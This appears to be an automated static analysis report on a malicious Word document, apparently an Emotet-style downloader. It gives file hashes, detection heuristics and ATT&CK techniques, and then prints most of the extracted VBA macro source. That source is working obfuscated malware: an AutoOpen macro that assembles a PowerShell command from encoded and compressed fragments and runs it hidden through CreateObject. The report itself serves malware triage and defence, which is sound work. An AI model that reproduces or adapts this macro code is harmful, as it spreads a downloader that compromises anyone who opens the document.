Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 78c7a32e2ea2b4a4…

MALICIOUS

Office (OLE)

141.0 KB Created: 2018-04-04 06:09:00 Authoring application: Microsoft Office Word First seen: 2018-04-30
MD5: 306789536671e60aed2ba6a233ae48a5 SHA-1: 5de5947c5b86dfbb2d1c2a71f26f1abe30c30f51 SHA-256: 78c7a32e2ea2b4a452852dab382d4bd3c5cd5deec9d393aed1447b830f184e9e
192 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing VBA macros, specifically an AutoOpen macro that uses CreateObject to execute code. The `macros.bas` file contains obfuscated VBA code that appears to download and execute a second-stage payload. The ClamAV detection `Doc.Malware.Emodldr-10025032-0` further supports its malicious nature. The embedded URL is benign, but the overall behavior indicates a downloader.

Heuristics 8

  • ClamAV: Doc.Malware.Emodldr-10025032-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Emodldr-10025032-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    End Select
CreateObject(YkwdoEfT).Run vhUwiibDoDzIZi + Chr(VBA.vbKeyC) + nwtvKHqHO + UpqWm + qClNrOkUcSS, vbHide
Select Case sDqvXz
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub _
AutoOpen()
On Error Resume Next
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 39508 bytes
SHA-256: 480396b89c0ae91fa0187e7e3185871f9f7b320a8728be5d7b5422e670ec7326
Detection
ClamAV: No threats found
Obfuscation or payload: likely
545 of 858 identifiers look randomly generated (e.g. 'Vt83MdWbx2ujc90uj6vqI088VQgvG9qRA59TP4d8'); 4 string-concatenation chain(s) — consistent with name-mangling obfuscation. Carved artifact contains 12 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "uvajzXABXAw"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "AioTPcCiHpjO"
Function XntSKRASiiLZh()
On Error Resume Next
Select Case nYwKb
         Case 18605

            FjshO = 62199
            mwshi = Sqr(71950)
         Case 85478

            BjzVF = CSng(aUKkK)
            HfHtBE = nbGKuc
End Select
asauCnuurZz = EomIh("SJLqw8/xz3R/7+CvY3bu/Bz2+AE8TjCLsi48N9sZ4BB/48d5wwXogT7UMeW+CrYB6AA/cz5WXj65nbX3ke+3MRvyX8Gvt9nlMnIn", 6, 91)
Select Case wBqNAb
         Case 49001

            WMMGDI = 59631
            iwDuz = Sqr(12128)
         Case 84314

            fisEfv = CSng(DsLIZ)
            wkjMaJ = hvAjIM
End Select
Select Case qzNru
         Case 4971

            YtrlJ = 78342
            oZDNR = Sqr(44520)
         Case 51544

            qjiaf = CSng(DMcOED)
            djUfu = BirRS
End Select
mQzHQbzJsiR = EomIh("aUznIG6LBzx3u/rz+3ifFIc53gt83q+P2mfGfPh7gee7H9HG/rz/HtfKPK6ef98nOg6ePM49Lh5wP8huxBH5O7hf/fcHreeIV/S4F0pRf", 3, 99)
Select Case spHml
         Case 11534

            sWHjMU = 44470
            VjOXFl = Sqr(170)
         Case 21040

            iiWBZo = CSng(PLRnpv)
            rIiKnW = IKXdfz
End Select
Select Case jGbLT
         Case 30915

            wnAPr = 24787
            PVLuIp = Sqr(13013)
         Case 34681

            ZlFzw = CSng(OGWnQM)
            OKIPX = lqYEp
End Select
AvGunWF = EomIh("0%59mt( $_,[text.ENCodinG]::asciI ) }| .('f'+'oReACH'){ $_.relRl", 7, 55)
Select Case ZXhqa
         Case 1685

            RqBZO = 35208
            RZtsE = Sqr(92127)
         Case 70986

            HAlsRG = CSng(ZBhQlZ)
            hQvmC = iMkuzK
End Select
Select Case WwLrRj
         Case 27662

            hphXvi = 70510
            zJnAWZ = Sqr(24186)
         Case 48984

            wabJrd = CSng(jTtYRd)
            zTBDn = sRIrqS
End Select
ujXEDTOE = EomIh("lIT@VIF5yGwHzHPsmPZnPtuEP/InhV4PSNfky/G5E23sxj6BuOd6gb7PgqHqe7mjBPtqdSXq8RfwEsUn2Xsv34OeMJkdyCPIW/t%N", 7, 92)
Select Case qJEzlm
         Case 12419

            ImoqM = 97350
            bkMdWH = Sqr(76173)
         Case 63721

            VZlrj = CSng(kTZws)
            OvmiW = rjNNbo
End Select
Select Case QhVAT
         Case 84496

            wVPMkN = 93523
            MBqib = Sqr(69034)
         Case 41642

            zKbjB = CSng(jdIZT)
            uMDvD = JGMHf
End Select
dskMnrwcP = EomIh("pJRx6ICyP/M69BeJCeoY54Qhwi6wB88qYvsI9G8XlGXTbot0z53VHfUI+gP5TAQTjrjSD9BTtq6qylx83juNN3Gfsg8TEj//na9aHsEr5gD+v5SfF7lu4gX3XUiUl/kofAv+T5jnWZziuD+GnoR+RoTtD8l2", 3, 147)
Select Case fjkuYE
         Case 23374

            viWqsL = 49926
            mmDKuX = Sqr(37809)
         Case 99201

            uiDZPq = CSng(flBUUp)
            ENniQ = MDszRT
End Select
Select Case Zuawku
         Case 9472

            OZYim = 4626
            wIinqC = Sqr(68763)
         Case 27307

            WAhRv = CSng(RljjO)
            iiati = jKzHON
End Select
bkitalB = EomIh("1cTA+8nz5eRvxH/ad4jzUOfI8Qt12xCnUoEtj", 4, 29)
Select Case zfVTfo
         Case 80117

            VakMnS = 16554
            nzFnL = Sqr(29469)
         Case 56878

            uHNAE = CSng(OlTfv)
            wRDrZ = MEqjuX
End Select
Select Case KLdiP
         Case 95154

            OFhaba = 78774
            LDsfiD = Sqr(57413)
         Case 89159

            jUiTjb = CSng(UmjqjM)
            wwjmc = VjlwjO
End Select
mrdin = EomIh("BRRwLjyTk06b05r7LLyOMJ5/S3PuvHjnFqwd86jzjfcs1+22r/Rv2n0hyBOYdzHOxPdZH0NHg9V70AF25HxnnAcR7Ir0kfUr+YdAr05Vz981k8+qB8vNF5G+kx+P048CL4nnyW5jrqiEheJK9NhEfWV2AfbTragfmT+nhy1u+F6sUG/V4Z+TjNy+R107zXqG9u%tfT", 3, 192)
Select Case OrRzj
         Case 33257

            wuTLfd = 93510
            prwAz = Sqr(84448)
         Case 89122

            BQBzRw = CSng(hkUJWc)
            jJPWN = fUHzw
End Select
Select Case LQIMo
         Case 60486

            wJnMV = 53375
            dEbFS = Sqr(77597)
         Case 49681

            VZzfc = CSng(XqTpw)
            ZIdvH = ifwvN
End Select
EiurhzSs = EomIh("BZ,ab3e3jy/xj/5y9WVfV68FPrm736/+v85uvxcbfHK7fvj61H+yzj78dZt9u9s/vuSvfy7Wr7dX/7q6/On97JfJf8fj8fufZtP/jWaT6Ww8/WP8fjQffZ1PZ/MyLn62fGOtLSr7+Kd9Dou95ZlVYXFnWbSms++WBVvb4rN9DBa6xcmyz2N", 5, 173)
Select Case pDUQb
         Case 38999

            uzAviN = 18087
            DaSUX = Sqr(47457)
         Case 49589

            VafzLJ = CSng(LZMqpZ)
            HOzBCE = MuiwD
End Select
Select Case BkszF
         Case 34739

            RHlUhS = 8656
            sBtiY = Sqr(3924)
         Case 14241

            ECPqa = CSng(XvkJA)
            rOWIdF = CMDnjH
End Select
PMvQzG = EomIh("Qww@FbTCTPUFe9pA/JdBukn5ahGPNGcF9lPOcVvZ/TR8z/511NwyVp8aqU6OmmsO0psT+TNlvyHvNeqrmEugj/W8S/mnPiGPGXUq9dX23Pcz5S/pjlp27DxOyf5n4iz1a80zgfNLqXmPeCmlMn", 7, 138)
Select Case iwVQr
         Case 28068

            QnvpbK = 94492
            pkXRUM = Sqr(58183)
         Case 60470

            BSbFHB = CSng(fiUpZ)
            USlpa = aSBudS
End Select
Select Case SEaLL
         Case 63876

            UPKKqT = 56391
            dfobpT = Sqr(84682)
         Case 82862

            psKws = CSng(MMMpCD)
            rwEbnh = GZhKY
End Select
jilMactMuf = EomIh("bMwcta+jAM/Zo6rmYfJ39Lp7rd6G/qU9Ipkf2WOCvIG5xHRgP+aM+RfZc6CHo69bNlLV7fqW80+v8QVHf1uR8HrhvpmFI6eJX4vZM+7jj/Qs/QvjHnGfII55lwvhr7DePv/Y74J5/vxEeN9F029LFVoO5HXPIg/V+/1aedcHbSfHLifwryFEjDjuEuM", 2, 178)
Select Case YtUHva
         Case 25928

            VTWjb = 59213
            wddaaz = Sqr(75974)
         Case 79692

            NfKmS = CSng(KzXzL)
            rFubq = WfisMC
End Select
Select Case sRMLDo
         Case 40632

            Bndol = 46087
            KvmfL = Sqr(36755)
         Case 13373

            lojCT = CSng(iVEvC)
            JoMRvs = SGfiK
End Select
tKfusLU = EomIh("j04B6qLA+iDeTuRX1mWj/rJSvhr1c+CAvDpRnudvccH6hu570veoR/bnQryxUT2V4ols4H/qK+iykXTz4awDTfGN8qPkeeAx5o04LIe8lcor7fe4uR1ReEOckK+0P/cpqVvzMPTXNg596FH9eky+oD5I+reJ4uHUf9TvWvF1Iz1uj76C", 4, 168)
Select Case qNqPba
         Case 23315

            zaXTmB = 96436
            SYtij = Sqr(89434)
         Case 43051

            UkSJoN = CSng(FZRdL)
            FdUqFM = pzIrL
End Select
Select Case ILERF
         Case 28739

            TnHZi = 96529
            AOjSmQ = Sqr(77580)
         Case 43604

            jFSaVH = CSng(dFGaBE)
            MITsDc = iUMdA
End Select
PILOonaSCqQ = EomIh("iCoxcfVtXn+/3r3erdt/tNfXu/9v+i+cW73f3F1Wx6czP5+fr6+uL6+u+bq6v8+8XlD8/L/Q+X1zfV1/LZT@f", 4, 78)
Select Case YYjoMm
         Case 58515

            LnoAL = 14615
            UcXnwj = Sqr(45274)
         Case 19417

            XkuHE = CSng(FzVaHE)
            RNPZK = VisrU
End Select
Select Case LXATdz
         Case 2059

            RmEqf = 22415
            qjFcRl = Sqr(25026)
         Case 5810

            sasXF = CSng(wbodVG)
            OujYY = wNUpW
End Select
doFjpPrvj = EomIh("wUjbR9vZxY5+C/WIfO3+vs2Xw73aWF9aEfp0Ha6PNbVlaFRfPfi3Nppb7ur8ua2tD/zxv+N1yYxX22fl6a8vG1xP/rt9vZMt+3873Mb7X799EO+G9OOzz5PavwuKR59rR9+vP6a+9P7gf/f7Ez+v3nbjd7XCe719bGWwGe/39ft/W/L3M7x9W8CUnD", 3, 178)
Select Case sfCQQw
         Case 97426

            vaDFd = 90962
            ndCCq = Sqr(61482)
         Case 48596

            LwtMs = CSng(rYkVu)
            TwKXi = lWnqb
End Select
Select Case uVtmpq
         Case 69866

            diDWku = 95687
            nooirT = Sqr(65395)
         Case 56999

            cjkqdq = CSng(GWrCz)
            ELimK = JjfiXX
End Select
XvSAqwJm = EomIh("GkDfIcvh+TnzxPpeq4ZN6WmeprJ/wDd536Rae8H2TH9MyL5rjoWNf+fKP4bpQH8PRY8Z5LVxxZ14wn+RI8MVO9TaU7pux/rBviJyMe8qC8Z9IHJlx6PVBXoA/kQf0rvvVvJ/7ruCZ/tap/4JL5O6mvAcfkkVLPM+Ytics%ds7I", 2, 161)
Select Case OamEbn
         Case 29707

            MKznzo = 4408
            ODvdO = Sqr(67983)
         Case 56642

            EJwUMz = CSng(MSubaT)
            QOjjs = iwKzH
End Select
Select Case pIEiOn
         Case 36221

            tNiaKb = 77603
            mIIAV = Sqr(58685)
         Case 61626

            Pturh = CSng(UfBpC)
            wEZjJT = izJYSP
End Select
NMnVHa = EomIh("zpTgdZj8Vp77+43yTjt2fv4BeI+qE+y/Y368LqLn2+vI7QS/jN2+Vt83MdWbx2ujc90uj6vqI088VQgvG9qRA59TP4d8sxNegvtzRF783Fy84XmNrINWfNjC7oL11PvPeq9Vp4Xj5ED+cHyb4h6Eu3LgMdoJXjgib3jf7XFfU", 4, 163)
Select Case uIqSJ
         Case 20898

            zTVtbu = 39361
            CZUZBb = Sqr(65616)
         Case 66730

            qCEBHF = CSng(bcIiM)
            jjrKwk = niZFk
End Select
Select Case ojOzGT
         Case 52538

            RZoiNc = 48420
            XqpDrw = Sqr(80664)
         Case 90118

            adcRnw = CSng(rItOB)
            RBnTK = pZwCUl
End Select
wnUAKW = EomIh("o.LMcconvERt]::frOMbasE64striNg( 'TVjZbuNIEvwVPyxgezBt6Ow5gHlItQg2F0unj", 6, 64)
Select Case tmUCr
         Case 82115

            VfpwJ = 58773
            cqEiKz = Sqr(17780)
         Case 49740

            QYmwEC = CSng(bIjbEa)
            GCYis = LoJfSN
End Select
Select Case IwpFid
         Case 64625

            jjDuSa = 41277
            FErLwM = Sqr(92921)
         Case 54779

            oFwwL = CSng(QVFPbw)
            swiUk = uUpSOr
End Select
pZaGAt = EomIh("wL048E1boD5n7gXwnexrgv/b3gK/Bb/nHdZQd0f1KfkyUH/BSqpNVeFMneS27cV7iqWfts+O+5P3G8+/1GxivFvcz9TPxN+vioDyCF1rnffYH9KsqEBcN8pgJ736ffamEnaifk3B9VD2cYJfj1usU/mbqr8Kkh", 7, 150)
Select Case WHMkvA
         Case 25105

            pYlfUv = 75456
            NLuqf = Sqr(22678)
         Case 86353

            icFiAz = CSng(hHfNJJ)
            TbjpC = zoPuHw
End Select
Select Case FpSJf
         Case 69015

            fqmBlw = 56200
            ZnzwWm = Sqr(31217)
         Case 23773

            VBwUw = CSng(wBYskE)
            QhssEZ = sYFTV
End Select
YTHhfwD = EomIh("so0zjpU8zp5tHjDI+yb1AvgoTHzJP2uvo7/AMTrXPF/4rxCfcd5Oc0j4rtBJ2XDvm3S8coDdBJ5eTL%89", 4, 75)
Select Case RmFJho
         Case 56293

            oilUj = 90283
            ANEsic = Sqr(45183)
         Case 31139

            ihrzS = CSng(vfwEdJ)
            OKvbpb = HXViX
End Select
Select Case jzGoK
         Case 84319

            FWzima = 77196
            ULlitJ = Sqr(44144)
         Case 24185

            jhhwnz = CSng(wdwWcj)
            nRETQl = ddzZs
End Select
jBEwdd = EomIh("%2C5t+y/TH8fjHQc", 6, 9)
Select Case wOQGNn
         Case 30090

            dKzRX = 38003
            JiRzoX = Sqr(94845)
         Case 24465

            pGbUFD = CSng(ZuUjjN)
            JpQjKH = CtRmT
End Select
Select Case EhBDC
         Case 52668

            IVbzO = 88132
            kJuYl = Sqr(92323)
         Case 95792

            aJWOB = CSng(wChTN)
            VhiPIU = TYbOwb
End Select
wnfEHG = EomIh("aLzN8xTkc/+/UU+0Z/P/T++X34fbK8dju2ON/sID+mPN/9hV1T/25l/n5/nvvb79vCzo@I", 6, 63)
Select Case qXuaj
         Case 27172

            wHshn = 50077
            KTtiB = Sqr(94220)
         Case 8172

            ifPRL = CSng(kzuYnz)
            aIHmz = ZZmiUu
End Select
Select Case hrdOBS
         Case 81164

            FVSMC = 45854
            DmvjXQ = Sqr(61594)
         Case 90111

            RibjdZ = CSng(iaCrcp)
            XcEYps = vzupp
End Select
zZIvhbFuL = EomIh("9aot98F+7XA/IfPY8m/+Vfv2/vz1Z+z3UdK27PwJ2535t+P+a7t2vm75XGuJTIc/A44NzW497bA/+XHhc/v/E4H5hXPxdxYTxwI", 8, 90)
Select Case UzTWBw
         Case 97284

            TrJrjr = 75778
            AjzOJY = Sqr(14248)
         Case 36877

            qCdVkj = CSng(noJhHf)
            jqjElu = JAOJzN
End Select
Select Case rjWPY
         Case 37473

            jCXwu = 90905
            QkHjKw = Sqr(52786)
         Case 16372

            jVfhA = CSng(OqZkMm)
            vrEJJt = biZjm
End Select
wwBtv = EomIh("5CmKh+'M'+'.IO'+'.strE'+'amR'+'Ea'+'dEr')VG", 6, 36)
Select Case Izflu
         Case 79993

            SmutmM = 74159
            hZKjvi = Sqr(78145)
         Case 29555

            BmiHlF = CSng(wullPL)
            qWDSJz = XzGNt
End Select
Select Case jrKhl
         Case 95443

            bCRDw = 36406
            CThlR = Sqr(6087)
         Case 61625

            NizQjs = CSng(ziXqwV)
            NlKmjv = AdHzJf
End Select
TjtWWBqMw = EomIh("UUscTn/2+K6O9beSV/vt+fTzxvePI8eV4cT99H+DsCfFxnDDvE+Fm4nFdmeejlN/G+nL8RZ5beR33z4EL998GPBxUR+ncrfDSIS6ReVsZ/ey/64A/5KN2+06+LiNx2cdlpPjOgZf7,jm@7", 4, 133)
Select Case zjcls
         Case 11341

            jkUOXf = 9540
            fIUAEF = Sqr(91686)
         Case 51511

            TksNAp = CSng(aNbzC)
            FGPUhB = YLQjRw
End Select
Select Case wVGJjK
         Case 78319

            WsvUqc = 10714
            MzhZCW = Sqr(26173)
         Case 57244

            UAahB = CSng(JVUVWD)
            SKoKui = YRHhmC
End Select
tKzwDNoOub = EomIh(",SADToeND() })E@nCs", 3, 12)
Select Case zwkcHc
         Case 80114

            KNMUC = 72244
            VGiZjh = Sqr(44928)
         Case 70738

            cjBvDt = CSng(uzHKZj)
            PbnCAa = ZbqZvB
End Select
Select Case LtTbzC
         Case 76525

            DPwcuU = 94835
            PTKii = Sqr(23607)
         Case 90690

            bjUlJh = CSng(QpYpQU)
            RUjQz = wnWEHV
End Select
wJHTWCKZB = EomIh("70Dw& ((.('va'+'RIaBl'+'e') '*mdR*').nAME[3,11,2]-joIn'')(.('nEW'+'-ObjeC'+'T') ('IO.'+'C'+'om'+'p'+'reS'+'s'+'Ion.dE'+'flatESTrEa'+'M')([sySTEm.IO.mEmorYSTrEAm] [SYsTEM.UscR", 5, 166)
Select Case QdHMz
         Case 97093

            ANiCi = 43661
            hmVfj = Sqr(67011)
         Case 22901

            qwNOO = CSng(nNPdoX)
            miMpRz = Elhma
End Select
Select Case nZWvi
         Case 92014

            hMSrmJ = 58340
            bKnTI = Sqr(82058)
         Case 99919

            zQipIz = CSng(ORrmJC)
            ZTwwi = Wawhtk
End Select
GmzBvtqiHNl = EomIh("cUoV2anfM9Ek638M/YB9B/PE/G/st6zaQLjLokr8U/hfpsLf5qVEcN6xN4Il+hv6OvSedE9Z3INfAFXcw5poyDvno482Tw51vyH+1GnpaF8B3EC+CHnfjj,", 6, 111)
Select Case hnTSf
         Case 76853

            XfvFbj = 62778
            avXVJ = Sqr(48299)
         Case 71228

            XKMKO = CSng(UAwYp)
            bzYGVN = uYqWvI
End Select
Select Case GdIIPF
         Case 34134

            VPbDzp = 94295
            SSujk = Sqr(92235)
         Case 69735

            IDsZw = CSng(OsWwX)
            PWYAG = znzbb
End Select
onZPEo = EomIh("MNbMLVI/tb0DyX5vJGONqorwT1qzDoglJzdYpv4j/wCft0p/59ks4+mv322+XF3tFi", 5, 59)
Select Case HjnUn
         Case 71471

            KtszLN = 85411
            HAjhD = Sqr(34072)
         Case 64488

            vttcUw = CSng(QhbqSN)
            uElFMV = XMnON
End Select
Select Case USOHmT
         Case 36278

            pakvb = 29241
            iaiiPZ = Sqr(44521)
         Case 66735

            plTaw = CSng(FwLvQ)
            KYbOAq = TiMLMp
End Select
ODjbDTz = EomIh("mwFhkrA/me4Tni1fgV9cJ6DLzSb+RzZTwfcXEcgKczvz9xOi ", 6, 42)
Select Case qDqiL
         Case 94177

            tRBArG = 78575
            ljfwJ = Sqr(37813)
         Case 4687

            TPjYO = CSng(dZGlvK)
            HdkTv = GZNIj
End Select
Select Case BzzIQs
         Case 92422

            iomcjm = 10701
            jiidII = Sqr(80194)
         Case 65581

            iTzflU = CSng(iNRCa)
            QWawB = tPqiFA
End Select
aRsjNJG = EomIh("JfQtye/v/r0qXi4vr/8B') , [SySTEM.Io.CoMPREsSioN.comPReSSIonmodE]::DeCOmpReSS )| .('foR'+'e'+'acH') {.('nEW-O'+'bjeC'+'T')  ('sysTe'UJt", 5, 127)
Select Case WUKbtK
         Case 29599

            mZwIzT = 49695
            SUDBNS = Sqr(23158)
         Case 6505

            HNoOn = CSng(tfLzsU)
            YrLsiz = oEITRX
End Select
Select Case QFsIB
         Case 98869

            kSjIY = 30898
            XGcqj = Sqr(58561)
         Case 8532

            fJzHO = CSng(jJoXi)
            ZDzHs = fwZVKJ
End Select
PiKIcb = EomIh("p0nqyzIbIBvz0KP1li3ZnoXa05SE+fhhRkRRfiKKR1UekZGRvLi6+LL/6+X1sby/KV5es/3q0/p+/7n4kK1vnm2/frD//P7rr59e93er9mq", 4, 101)
Select Case KZfAHk
         Case 59748

            NZiKu = 70507
            EJvkqK = Sqr(52510)
         Case 37188

            VzwwG = CSng(JznREn)
            IhnDB = dQzwz
End Select
Select Case LdcWqv
         Case 31857

            mbJzd = 70481
            VwVznN = Sqr(1250)
         Case 30977

            WMRHRG = CSng(XXiEtO)
            WjPShp = JjzUQ
End Select
YOEImbOG = EomIh("aPRUfu6rleZL9GXwNOuUOFS9Awfse21M+oh9qgnDfN8pHlvl9aD/VSPpzon6yVRz4Un1udX/kSnnd/W1MOjgTjigvuiEa9RfJnzupDvO/5Uq6ZqkS1lHxdBfmAf938H8lP7DEJf8D1dIf6X5r3jTX2hXpfmrOusa6nnbCPo%t0", 2, 161)
Select Case LMOdL
         Case 25462

            AdiJmj = 91393
            ZzfBGF = Sqr(99220)
         Case 32555

            vTaTM = CSng(RnAiUL)
            Atffs = CGfAun
End Select
sBMuoOSFNkNMS = hUSKRMvqirmP + """" + zMVmzbaQzmVbN
XntSKRASiiLZh = ljSOSqPAcaNr + ORPSjfcw + jotTuQmi + sBMuoOSFNkNMS + UqRIPTRBtPEupk + wJHTWCKZB + wnUAKW + PiKIcb + EiurhzSs + doFjpPrvj + wnfEHG + mQzHQbzJsiR + zZIvhbFuL + asauCnuurZz + TjtWWBqMw + NMnVHa + bkitalB + ODjbDTz + pZaGAt + ujXEDTOE + XvSAqwJm + dskMnrwcP + tKfusLU + GmzBvtqiHNl + PMvQzG + mrdin + YTHhfwD + jilMactMuf + YOEImbOG + onZPEo + PILOonaSCqQ + jBEwdd + aRsjNJG + wwBtv + AvGunWF + tKzwDNoOub
Select Case DSMUii
         Case 94514

            EEhZTZ = 12041
            KzPBvj = Sqr(36294)
         Case 21290

            hkcMIM = CSng(jVONS)
            QPXHM = iuwcn
End Select
End Function

Attribute VB_Name = "zzXrNRlPR"
Sub lRKaBAS()
On Error Resume Next
Select Case NsMaFJ
         Case 7270

            ZURqfp = 64472
            KvaSfA = Sqr(31617)
         Case 37470

            bCCECB = CSng(pvTWFX)
            NodrRz = WvjjPG
End Select
Application.Run "uiImPhIdb", XntSKRASiiLZh
Select Case zPNbsq
         Case 56229

            BfXTj = 2490
            WLVnDM = Sqr(59001)
         Case 4321

            zVIEH = CSng(UnuIp)
            FuMjOG = zUzOZm
End Select
End Sub
Sub _
AutoOpen()
On Error Resume Next
Select Case YObCN
         Case 39857

            FcWhY = 99671
            KjYaLE = Sqr(32333)
         Case 32725

            GoFsE = CSng(BHjShu)
            LruVT = RpzqH
End Select
Call lRKaBAS
Select Case mkZnN
         Case 65846

            HFVOI = 54883
            RbPzG = Sqr(34726)
         Case 77597

            Yjjql = CSng(zSHzw)
            SDbUWk = nAqdm
End Select
End Sub
Function jotTuQmi()
On Error Resume Next
Select Case aSnzzW
         Case 32981

            fQMkoa = 82428
            cWinu = Sqr(11885)
         Case 28645

            lTojl = CSng(nmqRY)
            PTZVmc = wAbMD
End Select
asauCnuurZz = EomIh("SJLqwDnwO&&set %YFMnIn", 6, 13)
Select Case SOkDij
         Case 38977

            VNdik = 7678
            dZuWCB = Sqr(74778)
         Case 15815

            NARlSR = CSng(HkESm)
            jIhEl = GvmCYq
End Select
Select Case zLZcP
         Case 5082

            ckcFwH = 13560
            SjUAbd = Sqr(55873)
         Case 84165

            iOdbVb = CSng(pmjmi)
            aukGJf = UqiFt
End Select
mQzHQbzJsiR = EomIh("aU%=aIDWQhdu0pRf", 3, 10)
Select Case hhzkhU
         Case 38742

            uBZWGI = 16353
            JaUws = Sqr(10945)
         Case 49153

            VUzlV = CSng(jXikum)
            CwROqj = LjCWzE
End Select
Select Case qHDav
         Case 11808

            qkSMkk = 8060
            bzPCf = Sqr(20293)
         Case 81100

            ldkout = CSng(MjRGk)
            IQGVim = dhNHi
End Select
AvGunWF = EomIh("0%59mtjjabzzlRl", 7, 6)
Select Case afjpi
         Case 17172

            IRwKS = 2177
            iGcSiT = Sqr(56470)
         Case 36361

            JhzXfV = CSng(QdFiT)
            juizj = rUvDh
End Select
Select Case iVRQl
         Case 33659

            mUVhza = 98031
            BToCcL = Sqr(6057)
         Case 23556

            htzJcI = CSng(oQdfVz)
            iiaYbJ = hGKqTj
End Select
ujXEDTOE = EomIh("lIT@VIXHwjwBQIiuMdf%! t%N", 7, 16)
Select Case mlzfJm
         Case 67211

            SmJMWs = 64758
            SRDWKX = Sqr(3457)
         Case 74480

            CqzmoS = CSng(YWCii)
            MLOlM = OOmvAJ
End Select
Select Case AUzbd
         Case 86892

            sIlipC = 74953
            aWGMh = Sqr(48587)
         Case 57120

            PPvDC = CSng(JwpApp)
            Uvczc = fFMLhp
End Select
dskMnrwcP = EomIh("pJMKnuh%!!%LoTtD8l2", 3, 10)
Select Case zjVjW
         Case 66028

            NjMiq = 48578
            zmooMz = Sqr(34605)
         Case 10739

            iMFwwB = CSng(ENNsu)
            cFiHS = kjuJDi
End Select
Select Case iCIYz
         Case 93596

            kuQOKX = 57922
            MaoWdH = Sqr(69982)
         Case 52692

            iQzAnD = CSng(CzYsY)
            kqPidW = Dwvli
End Select
bkitalB = EomIh("1cT %XntSKRASiiLZhUoEtj", 4, 15)
Select Case BNDwAu
         Case 52117

            ujwkz = 83277
            MNwlR = Sqr(27764)
         Case 81461

            GzdOSw = CSng(UMVsBn)
            zYwzoq = Qujfu
End Select
Select Case rwDKN
         Case 47976

            iwXzM = 49418
            tFcbz = Sqr(381)
         Case 26251

            fwwGb = CSng(EWOAE)
            kqPTI = qQJnct
End Select
mrdin = EomIh("BR %VfvDXVit%=!%XntS%tfT", 3, 18)
Select Case DDiin
         Case 84654

            tlTFN = 12446
            BZZJzI = Sqr(2142)
         Case 72333

            pISBK = CSng(wrVCmY)
            asaIi = wXKFCB
End Select
Select Case tASWNK
         Case 53373

            PldkE = 15068
            YTOJQA = Sqr(19042)
         Case 41989

            tbFCcU = CSng(fhiBhJ)
            isUUsL = lFKVQ
End Select
EiurhzSs = EomIh("BZ,a!!%uiImPhIdb%!!%nw2N", 5, 18)
Select Case bTzrji
         Case 84611

            mEZtur = 95977
            VFAPn = Sqr(68718)
         Case 32250

            fRKZIV = CSng(hMtTMj)
            SCRCsn = bzUDik
End Select
Select Case twcmz
         Case 73182

            zEQzw = 18669
            uEKjY = Sqr(78960)
         Case 16251

            cjfXE = CSng(DlwIX)
            CzpbF = GDzjaF
End Select
PMvQzG = EomIh("Qww@Fbt %dzFRWVFBbLjFLabMn", 7, 18)
Select Case Ykqkww
         Case 82409

            oUtHc = 65191
            wSTrY = Sqr(70614)
         Case 41994

            PjatiF = CSng(sJZZf)
            MAwMj = OfvUc
End Select
Select Case rZPzSu
         Case 40142

            VYLIc = 48503
            ncRjV = Sqr(7610)
         Case 45367

            DiNACE = CSng(hDBzjV)
            XuAjVT = OwJAG
End Select
jilMactMuf = EomIh("bMEjDjuEuM", 2, 1)
Select Case jjTnkU
         Case 86223

            UEuSP = 50543
            HGfsfC = Sqr(9984)
         Case 43706

            miEKoj = CSng(zwXOz)
            NMMcZC = GRGsfH
End Select
Select Case aosOa
         Case 25901

            twpOOw = 82637
            Ejjis = Sqr(81472)
         Case 24854

            MItOH = CSng(KSBtNb)
            nzFNZK = KNoDIK
End Select
tKfusLU = EomIh("j04hZlfCV&&set %DkNcuj76C", 4, 17)
Select Case rAbqT
         Case 25398

            jGhwWQ = 73262
            NVkPd = Sqr(32471)
         Case 68713

            VSjTDw = CSng(qGwXT)
            aCuOJ = tYOCu
End Select
Select Case IGLSn
         Case 69171

            hlkUjn = 70201
            jlAwV = Sqr(3517)
         Case 11144

            XUWFoi = CSng(VPsSsh)
            uMrMj = jBQVQI
End Select
PILOonaSCqQ = EomIh("iCo%=ozMEYFw&&set %aZT@f", 4, 13)
Select Case wlWJID
         Case 21199

            wQirCv = 28739
            qUrqJ = Sqr(82499)
         Case 75530

            JVNOV = CSng(BojEr)
            tjJpWi = wNUiwR
End Select
Select Case CtKsKU
         Case 60114

            XKpML = 85307
            wXiBX = Sqr(49273)
         Case 49731

            XmTvMV = CSng(tAsAU)
            jTwFj = CoDCBi
End Select
doFjpPrvj = EomIh("wUset %SGwJbziCQrfVW8CUnD", 3, 17)
Select Case OwOiBP
         Case 55163

            nGqZS = 79131
            RpTLYL = Sqr(31234)
         Case 7172

            wrnXnT = CSng(RMjGbi)
…

Open this report in the interactive analyzer, or submit your own file for analysis.